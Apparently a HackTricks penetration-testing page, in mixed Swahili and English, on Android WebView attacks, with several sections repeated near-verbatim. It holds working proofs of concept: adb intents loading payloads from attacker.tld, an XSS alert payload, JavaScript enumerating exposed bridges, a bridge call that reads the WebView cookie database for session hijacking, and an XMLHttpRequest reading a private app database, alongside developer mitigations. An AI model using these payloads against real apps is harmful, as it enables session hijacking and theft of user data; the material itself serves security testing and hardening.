Mashambulizi ya WebView

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mwongozo juu ya Usanidi na Usalama wa WebView

Muhtasari wa Udhaifu wa WebView

Sehemu muhimu ya maendeleo ya Android ni utunzaji sahihi wa WebViews. Mwongozo huu unaonyesha usanidi muhimu na mbinu za usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.

WebView Example

Ufikiaji wa Faili katika WebViews

Kwa chaguo-msingi, WebViews huruhusu ufikiaji wa faili. Kazi hii inasimamiwa na setAllowFileAccess() method, inapatikana tangu Android API level 3 (Cupcake 1.5). Maombi yenye ruhusa ya android.permission.READ_EXTERNAL_STORAGE yanaweza kusoma faili kutoka kwenye kuhifadhi wa nje kwa kutumia file URL scheme (file://path/to/file).

Vipengele Vilivyopitwa na Wakati: Universal and File Access From URLs

  • Universal Access From File URLs: Kipengele hiki kilichopitwa na wakati kiliruhusu maombi ya cross-origin kutoka file URLs, na kuleta hatari kubwa ya usalama kutokana na XSS attacks zisizowezekana. Mpangilio wa chaguo-msingi umezimwa (false) kwa maombi yanayolenga Android Jelly Bean na baadaye.
  • Ili kuangalia mpangilio huu, tumia getAllowUniversalAccessFromFileURLs().
  • Ili kubadilisha mpangilio huu, tumia setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Kipengele hiki, pia kilichopitwa na wakati, kilidhibiti ufikiaji wa yaliyomo kutoka kwa URL nyingine za file scheme. Kama universal access, chaguo-msingi chake kimezimwa kwa ajili ya kuongeza usalama.
  • Tumia getAllowFileAccessFromFileURLs() kuangalia na setAllowFileAccessFromFileURLs(boolean) kuweka.

Kupakia Faili kwa Usalama

Ili kuzima ufikiaji wa mfumo wa faili wakati bado unaweza kupata assets na resources, hutumika setAllowFileAccess() method. Kwa Android R na juu, mpangilio wa chaguo-msingi ni false.

  • Angalia kwa kutumia getAllowFileAccess().
  • Washa au zima kwa kutumia setAllowFileAccess(boolean).

WebViewAssetLoader

Darasa WebViewAssetLoader ni njia ya kisasa ya kupakia faili za ndani. Inatumia http(s) URLs kupata assets na resources za ndani, ikizingatia sera ya Same-Origin, hivyo kurahisisha usimamizi wa CORS.

loadUrl

Hii ni function ya kawaida inayotumika kupakia URL yoyote katika WebView:

webview.loadUrl("<url here>")

Hakika, mshambuliaji mwenye nia mbaya haapaswi kamwe kuwa na uwezo wa kuamua URL ambayo programu itapakia.

JavaScript na Ushughulikiaji wa Intent Scheme

  • JavaScript: Imezimwa kwa kawaida katika WebViews, inaweza kuwezeshwa kupitia setJavaScriptEnabled(). Inashauriwa kuwa mwangalifu kwani kuwezesha JavaScript bila kinga sahihi kunaweza kuleta mianya ya usalama.
  • Intent Scheme: WebViews zinaweza kushughulikia scheme ya intent, ambayo inaweza kusababisha exploits ikiwa haitasimamiwa kwa uangalifu. Mfano wa udhaifu ulihusisha parameter ya WebView iliyofichuliwa “support_url” ambayo inaweza kutumiwa kutekeleza cross-site scripting (XSS) attacks.

Vulnerable WebView

Exploitation example using adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android inatoa kipengele kinachowawezesha JavaScript ndani ya WebView kuitisha native Android app functions. Hii inafikiwa kwa kutumia njia ya addJavascriptInterface, ambayo inaunganisha JavaScript na utendaji asili wa Android, ikitajwa kama WebView JavaScript bridge. Tahadhari inashauriwa kwa sababu njia hii inaruhusu kurasa zote ndani ya WebView kufikia kitu cha JavaScript Interface kilichosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti zitaonekana kupitia interfaces hizi.

  • Tahadhari kali inahitajika kwa apps zinazolenga Android versions below 4.2 kutokana na udhaifu unaoruhusu remote code execution kupitia JavaScript hatari, ukitumia reflection.

Kutekeleza JavaScript Bridge

  • JavaScript interfaces zinaweza kuingiliana na msimbo wa asili, kama inavyoonyeshwa katika mifano ambapo method ya darasa inaonyeshwa kwa JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge inawezeshwa kwa kuongeza interface kwenye WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Uwezekano wa unyonyaji kupitia JavaScript, kwa mfano kupitia XSS attack, unaruhusu kuita Java methods zilizo wazi:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Ili kupunguza hatari, restrict JavaScript bridge usage kwa code iliyotumwa na APK na zuia kupakia JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka minimum API level kuwa 17.

Reflection-based Remote Code Execution (RCE)

  • Njia iliyodokumentwa inaruhusu kufikia RCE kupitia reflection kwa kutekeleza payload maalum. Hata hivyo, annotation @JavascriptInterface inazuia ufikiaji wa method zisizoidhinishwa, ikipunguza attack surface.

Remote Debugging

  • Remote debugging inaruhusiwa kwa kutumia Chrome Developer Tools, ikiruhusu kuingiliana na utekelezaji wowote wa JavaScript ndani ya yaliyomo ya WebView.

Kuwezesha Remote Debugging

  • Remote debugging inaweza kuwezeshwa kwa WebViews zote ndani ya application kwa:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Ili kuwezesha debugging kwa masharti kulingana na debuggable state ya application:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate faili yoyote

  • Inaonyesha exfiltration ya faili yoyote kwa kutumia XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Mwongozo juu ya Mipangilio ya WebView na Usalama

Muhtasari wa Udhaifu za WebView

Sehemu muhimu ya maendeleo ya Android ni jinsi ya kushughulikia WebViews kwa usahihi. Mwongozo huu unaonyesha mipangilio muhimu na mbinu za usalama za kupunguza hatari zinazohusiana na matumizi ya WebView.

WebView Example

File Access in WebViews

Kwa chaguo-msingi, WebViews huruhusu upatikanaji wa faili. Kazi hii inadhibitiwa na setAllowFileAccess() method, iliyopo tangu Android API level 3 (Cupcake 1.5). Maombi yenye ruhusa android.permission.READ_EXTERNAL_STORAGE yanaweza kusoma faili kutoka kwa hifadhidata ya nje kwa kutumia file URL scheme (file://path/to/file).

Vipengele Vilivyopitwa na wakati: Universal and File Access From URLs

  • Universal Access From File URLs: Kipengele hiki kilichopitwa na wakati kiliruhusu cross-origin requests kutoka kwa file URLs, likiweka hatari kubwa ya usalama kutokana na uwezekano wa XSS attacks. Mpangilio wa chaguo-msingi umezimwa (false) kwa apps zinazolenga Android Jelly Bean na mpya.
  • Kuangalia mpangilio huu, tumia getAllowUniversalAccessFromFileURLs().
  • Kuweka/Badilisha mpangilio huu, tumia setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Kipengele hiki, pia kilichopitwa na wakati, kilidhibiti upatikanaji wa maudhui kutoka kwa URL nyingine zilizo na scheme ya file. Kama universal access, mpangilio wa chaguo-msingi umezimwa kwa kuongeza usalama.
  • Tumia getAllowFileAccessFromFileURLs() kuangalia na setAllowFileAccessFromFileURLs(boolean) kuweka.

Secure File Loading

Ili kuzima upatikanaji wa mfumo wa faili huku bado ukipata assets na resources, kutumika setAllowFileAccess() method. Kwa Android R na zaidi, mpangilio wa chaguo-msingi ni false.

  • Angalia kwa getAllowFileAccess().
  • Washa au zima kwa setAllowFileAccess(boolean).

WebViewAssetLoader

Darasa la WebViewAssetLoader ni njia ya kisasa ya kupakia faili za ndani. Inatumia http(s) URLs kupata local assets na resources, ikilingana na sera ya Same-Origin, hivyo kurahisisha usimamizi wa CORS.

loadUrl

Hii ni function ya kawaida inayotumika kupakia arbitrary URLs katika WebView:

webview.loadUrl("<url here>")

Bila shaka, mshambuliaji anayezowezekana haapaswi kamwe kuwa na uwezo wa kudhibiti URL ambayo programu itakayopakia.

Deep-linking into internal WebView (custom scheme → WebView sink)

Programu nyingi hujisajili custom schemes/paths ambazo zinaelekeza URL iliyotolewa na mtumiaji ndani ya WebView ya app. Ikiwa deep link ime-exported (VIEW + BROWSABLE), mshambuliaji anaweza kulazimisha app kuonyesha maudhui yoyote ya mbali ndani ya muktadha wake wa WebView.

Mfano wa kawaida wa manifest (imefupishwa):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Mtiririko wa kawaida wa msimbo (uliorahisishwa):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Mfano wa shambulizi na PoC kupitia adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Athari: ukurasa wa mbali unaendeshwa katika muktadha wa WebView ya app (cookies/session ya wasifu wa WebView ya app, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings).

Hunting tips:

  • Grep vyanzo vilivyofanyiwa decompile kwa getQueryParameter("url"), loadUrl(, WebView sinks, and deep-link handlers (onCreate/onNewIntent).
  • Review the manifest for VIEW+BROWSABLE filters and custom schemes/hosts that map to activities that later start a WebView.
  • Check if there are multiple deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) and prefer the one that renders inside the app.

Kumwezesha JavaScript kabla ya uthibitisho (order-of-checks bug)

Hitilafu inayojirudia katika kuimarisha usalama ni kumwezesha JavaScript au kusanidi mipangilio ya WebView isiyokuwa kali kabla ya allowlist/uthibitisho wa mwisho wa URL lengwa kumalizika. Ikiwa uthibitisho hauendani kati ya helpers au unafanyika kuchelewa, deep-link ya mshambuliaji inaweza kufikia hali ambapo:

  1. WebView settings apply (e.g., setJavaScriptEnabled(true)), and
  2. The untrusted URL is loaded with JavaScript enabled.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Kwa nini inaweza kutumiwa

  • Normalization isiyolingana: helpers hugawa/kujenga tena URL kwa njia tofauti kuliko ukaguzi wa mwisho, kuunda kutokubaliana ambacho URL yenye nia mbaya inaweza kutumia.
  • Mnyororo uliopangwa vibaya: kuwezesha JS katika hatua ya 2 kunatumika kwa ujumla kwenye instance ya WebView, kuathiri upakiaji wa mwisho hata kama uthibitisho ungeweza kushindwa baadaye.

Jinsi ya kujaribu

  • Tengeneza deep-link payloads zinazopitia ukaguzi wa awali na kufika kwenye tovuti ya usanidi ya WebView.
  • Tumia adb kutuma implicit VIEW intents zinazowasilisha parameter url= inayodhibitiwa na wewe:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Ikiwa exploitation itafanikiwa, payload yako itatekeleza JavaScript katika WebView ya app. Kutoka hapo, chunguza bridges zilizofichuliwa:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive guidance

  • Fanya canonicalize mara moja; thibitisha kwa umakini dhidi ya chanzo kimoja cha ukweli (scheme/host/path/query).
  • Ite tu setJavaScriptEnabled(true) baada ya ukaguzi wote wa allowlist kupita na mara tu kabla ya kupakia maudhui yaliyoaminika.
  • Epuka kufichua @JavascriptInterface kwa asili zisizoaminika; pendelea udhibiti kwa kila asili.
  • Fikiria kutumia per-WebView instances kwa maudhui ya kuaminika dhidi ya yasiyoaminika, ukiwasha JS tu pale inapobidi (JS disabled by default).

JavaScript and Intent Scheme Handling

  • JavaScript: Imezimwa kwa chaguo-msingi katika WebViews, inaweza kuwezeshwa kupitia setJavaScriptEnabled(). Tahadhari inashauriwa kwani kuwezesha JavaScript bila hatua za usalama zinazofaa kunaweza kuleta udhaifu wa usalama.
  • Intent Scheme: WebViews zinaweza kushughulikia scheme ya intent, ambayo inaweza kusababisha exploits ikiwa haitasimamiwa kwa uangalifu. Mfano wa udhaifu ulijumuisha parameter ya WebView iliyofichuka “support_url” ambayo ingeweza kutumika kutekeleza cross-site scripting (XSS) attacks.

Vulnerable WebView

Mfano wa exploitation ukitumia adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Daraja la JavaScript

Kuna kipengele kinachotolewa na Android kinachoruhusu JavaScript ndani ya WebView kuitisha kazi za asili za app za Android. Hili hufikiwa kwa kutumia addJavascriptInterface method, ambayo inachanganya JavaScript na uwezo wa asili wa Android, ikitajwa kama WebView JavaScript bridge. Tahadhari inashauriwa kwa sababu method hii inaruhusu kurasa zote ndani ya WebView kufikia JavaScript Interface object iliyosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti zitafichuliwa kupitia interface hizi.

  • Tahadhari kubwa inahitajika kwa apps zinazolenga Android versions chini ya 4.2 kutokana na udhaifu unaowezesha remote code execution kupitia JavaScript hasidi, ukitumia reflection.

Kutekeleza Daraja la JavaScript

  • JavaScript interfaces zinaweza kuingiliana na native code, kama inavyoonyeshwa katika mifano ambapo class method inafichuliwa kwa JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge imewezeshwa kwa kuongeza interface kwenye WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Uwezekano wa kutumika (exploitation) kupitia JavaScript, kwa mfano kupitia shambulio la XSS, unaruhusu kupiga simu za Java methods zilizo wazi:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Ili kupunguza hatari, restrict JavaScript bridge usage kwa code iliyomo ndani ya APK na zuia kupakia JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka minimum API level kuwa 17.

Abusing dispatcher-style JS bridges (invokeMethod/handlerName)

Muundo wa kawaida ni method moja iliyotangazwa (kwa mfano, @JavascriptInterface void invokeMethod(String json)) ambayo hubadilisha JSON inayodhibitiwa na mshambuliaji kuwa kitu cha jumla na kuiteua (dispatch) kulingana na jina la handler lililotolewa. Umbo la kawaida la JSON:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: ikiwa handler yoyote iliyosajiliwa inafanya vitendo vya haki za juu kwa data ya mshambulizi (kwa mfano, kusoma faili moja kwa moja), unaweza kuiita kwa kuweka handlerName ipasavyo. Matokeo kawaida hurudishwa kwenye muktadha wa ukurasa kupitia evaluateJavascript na mekanisimu ya callback/promise inayotegemea callbackId.

Key hunting steps

  • Decompile na grep kwa addJavascriptInterface( ili kujua jina la bridge object (mfano, xbridge).
  • Katika Chrome DevTools (chrome://inspect), andika jina la bridge object kwenye Console (mfano, xbridge) ili orodhesha nyanja/methods zilizo wazi; tazama dispatcher wa jumla kama invokeMethod.
  • Orodhesha handlers kwa kutafuta madarasa yanayotekeleza getModuleName() au ramani za usajili.

Kusoma faili yoyote kupitia URI → File sinks (Base64 exfiltration)

Iki handler inachukua URI, ikaita Uri.parse(req.getUri()).getPath(), kujenga new File(...) na kuisoma bila allowlists au ukaguzi wa sandbox, unapata kusoma faili yoyote ndani ya sandbox ya app ambayo inapita juu ya mipangilio ya WebView kama setAllowFileAccess(false) (kusoma kunafanyika katika native code, sio kupitia WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Vidokezo

  • Cookie DB paths zinatofautiana kati ya vifaa/watoa huduma. Zilizopo mara kwa mara ni:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • Handler inarudisha Base64; decode ili kurejesha cookies na kujifanya mtumiaji katika profile ya app kwenye WebView.

Vidokezo vya kugundua

  • Angalia mizinga ndefu ya Base64 inayorejeshwa kupitia evaluateJavascript unapotumia app.
  • Grep vyanzo vilivyodecompiled kwa handlers zinazokubali uri/path na kuzibadilisha kuwa new File(...).

Kuepuka vizuizi vya ruhusa vya WebView – ukaguzi wa host endsWith()

Maamuzi ya ruhusa (kuchagua JSB-enabled Activity) mara nyingi hutegemea orodha za kuruhusu za host. Mfano wenye kasoro ni:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Mantiki sawa (De Morgan’s):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Hii sio origin check. Hosts nyingi zisizotarajiwa zinaweza kutimiza kifungu cha pili, zikiruhusu domains zisizo za kuaminika kuingia kwenye privileged Activity. Daima hakikisha scheme na host dhidi ya allowlist kali (exact match au subdomain check sahihi kwa dot-boundaries), si mbinu za endsWith.

javascript:// primitive ya utekelezaji kupitia loadUrl

Mara tu ndani ya privileged WebView, apps wakati mwingine hufanya execute inline JS kupitia:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

  • Tumia grep kutafuta loadUrl("javascript: na evaluateJavascript( katika app.
  • Jaribu kufikia njia hizo za msimbo baada ya kulazimisha navigation kwenda kwenye privileged WebView (mf., via a permissive deep link chooser).
  • Tumia primitive kuitisha dispatcher (xbridge.invokeMethod(...)) na kufikia vishughulizi vyenye taarifa nyeti.

Mitigations (developer checklist)

  • Strict origin verification for privileged Activities: canonicalize and compare scheme/host against an explicit allowlist; avoid endsWith-based checks. Consider Digital Asset Links when applicable.
  • Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
  • Remove or tightly guard filesystem-capable handlers; prefer content:// with allowlists/permissions over raw file:// paths.
  • Avoid loadUrl("javascript:") in privileged contexts or gate it behind strong checks.
  • Remember setAllowFileAccess(false) doesn’t protect against native file reads via the bridge.

JSB enumeration and debugging tips

  • Enable WebView remote debugging to use Chrome DevTools Console:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • In DevTools, type the bridge object name (e.g., xbridge) to see exposed members and probe the dispatcher.

Reflection-based Remote Code Execution (RCE)

  • A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Remote Debugging

  • Remote debugging is possible with Chrome Developer Tools, enabling interaction and arbitrary JavaScript execution within the WebView content.

Enabling Remote Debugging

  • Remote debugging can be enabled for all WebViews within an application by:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Ili kuwezesha debugging kwa masharti kulingana na hali ya programu kuwa debuggable:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate mafaili yoyote

  • Inaonyesha exfiltration ya mafaili yoyote kwa kutumia XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Udhaifu wa mara kwa mara ni kusoma data inayodhibitiwa na mshambuliaji kutoka kwa Intent extra inayokuja na kuiingiza moja kwa moja kwenye WebView kupitia loadData() ukiwa JavaScript umewezeshwa.

Mfano hatarishi (exported Activity husoma extra na kuirender kama HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Ikiwa Activity hiyo ime-exported (au inafikiwa kupitia exported proxy), app hasidi inaweza kusambaza HTML/JS katika extra data ili kupata reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Athari

  • JS ya hiari katika muktadha wa WebView ya app: orodhesha/tumia @JavascriptInterface madaraja, pata cookies/local storage za WebView, hamia file:// au content:// kulingana na mipangilio.

Kupunguza hatari

  • Chukulia ingizo zote zinazotokana na Intent kama zisizoaminika. Tumia (Html.escapeHtml) au kata HTML; pendelea kuonyesha maandishi yasiyoaminika kama maandishi, si HTML.
  • Weka JavaScript zima isipokuwa inahitajika kabisa; usiwezesha WebChromeClient kwa maudhui yasiyoaminika.
  • Ikiwa lazima uwasilishe HTML ya template, tumia loadDataWithBaseURL() na base salama na CSP; gawanya WebViews za kuaminika/zisizoaminika.
  • Epuka kuifichua Activity kwa nje au inalinde kwa ruhusa wakati haitakiwi.

Inayohusiana

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks